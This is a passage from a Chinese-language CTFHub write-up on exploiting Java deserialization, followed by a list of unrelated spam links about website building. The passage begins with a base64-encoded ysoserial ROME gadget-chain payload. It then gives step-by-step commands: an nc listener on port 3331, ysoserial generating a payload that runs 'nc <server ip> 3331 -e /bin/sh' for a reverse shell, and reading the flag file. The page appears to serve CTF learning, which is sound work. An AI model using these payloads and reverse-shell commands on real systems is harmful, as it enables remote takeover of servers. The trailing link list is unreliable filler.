heWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyAChjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5FcXVhbHNCZWFu9YoYuX2GBECAAJMAApfYmVhbkNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAARfb2JqcQBAAl4cHZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHBxAH4AFHNyACpjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5Ub1N0cmluZ0JlYW4J9Y5KDyPuMQIAAkwACl9iZWFuQ2xhc3NxAH4AHEwABF9vYmpxAH4ACXhwcQBAB9xAH4AFHNxAH4AG3ZxAH4AAnEAfgANc3EAfgAgcQBACNxAH4ADXEAfgAGcQBAAZxAH4ABng 服务器执行nc -lvvp 3331          # 注意服务器要开放3331端口才行 发送请求 服务器查看nc 0x06 要获取文件名就要反弹linux系统的shell参考 反弹shellreverse shell就是控制端监听在某TCP/UDP端口被控端发起请求到该端口并将其命令行的输入输出转到控制端。reverse shell与telnetssh等标准shell对应本质上是网络概念的客户端与服务端的角色反转。来源 Linux下几种反弹Shell方法的总结---持续更新_闲人2019的技术博客_51CTO博客 这里直接用nc反向shell 使用nc反弹shell需要的条件是被反弹shell的机器安装了nc 1生成反弹shell的payload  # 我服务nc监听的端口是3331 要根据自己的改 java -jar ysoserial-master-2874a69f61-1.jar ROME nc 服务器ip 3331 -e /bin/sh xiaodi.bin 2base64编码 # 代码就用之前的不用改 python2 java.py 3发送请求反弹shell 4查服务端nc监听的端口 ls /   # 查看当前目录下的文件信息 cat /文件名  ctfhub{e6e837e00ea2cd7be629ebb8}最后到靶机提交解题成功 ​​​​​​​
http://www.hkea.cn/news/14356280/

相关文章:

  • 做网站分成网站开发工单
  • 电子商务网站的建设的意义6生肖竞猜网站建设
  • 适合用dedecms做的网站网站建设分金手指科捷13
  • 青岛大学网站建设昆明企业自助建站
  • 网页设计与制作建立站点实验报告咖啡网站开发
  • 南宁市建设厅官方网站wordpress多主题模式
  • 比较好的h5网站实力网站建设电话
  • 自己做的网站怎么接数据库wordpress怎么更换站点
  • 网站显示已备案中国建设协会网站首页
  • 网站设计师是什么wordpress 二次开教程
  • 网站快速备案公司wordpress建站平台
  • 做网站 营业执照梅州建设工程交易中心网站
  • 长沙网站建设王道下拉棒wordpress 淘宝客 主题
  • 在淘宝介绍里边怎么做网站链接做网站如何写代码
  • 巧家县城乡建设局网站漯河网站制作
  • 魔方 网站建设 有限公司苏州做网版的公司
  • 汤阴有没有做网站的公司wordpress多张页面左右滑动
  • 扬州市住房和建设局网站乐陵森林面积
  • 郑州做网站建设公司哪家好网站建设怎么翻译
  • 单一产品销售网站建设模板网站建设网站建设
  • 网站建设 银川修改wordpress的样式
  • 机械产品做那几个网站好在pc端预览手机网站
  • 网站后台更新图片手机官网
  • 关于旅游网站开发的研究方法网站 制作水印
  • 培训机构网站建设推广阿里云一键建站网站
  • 做网站买什么服务器 便宜酒店网站开发合同范本
  • 做的网站怎么上传到网上展示类网站模板js
  • 电子商务网站建设及推广方案论文佛山网站排名推广
  • 免费flash素材网站正规的网页制作
  • 如何说服企业做网站中铁建设企业门户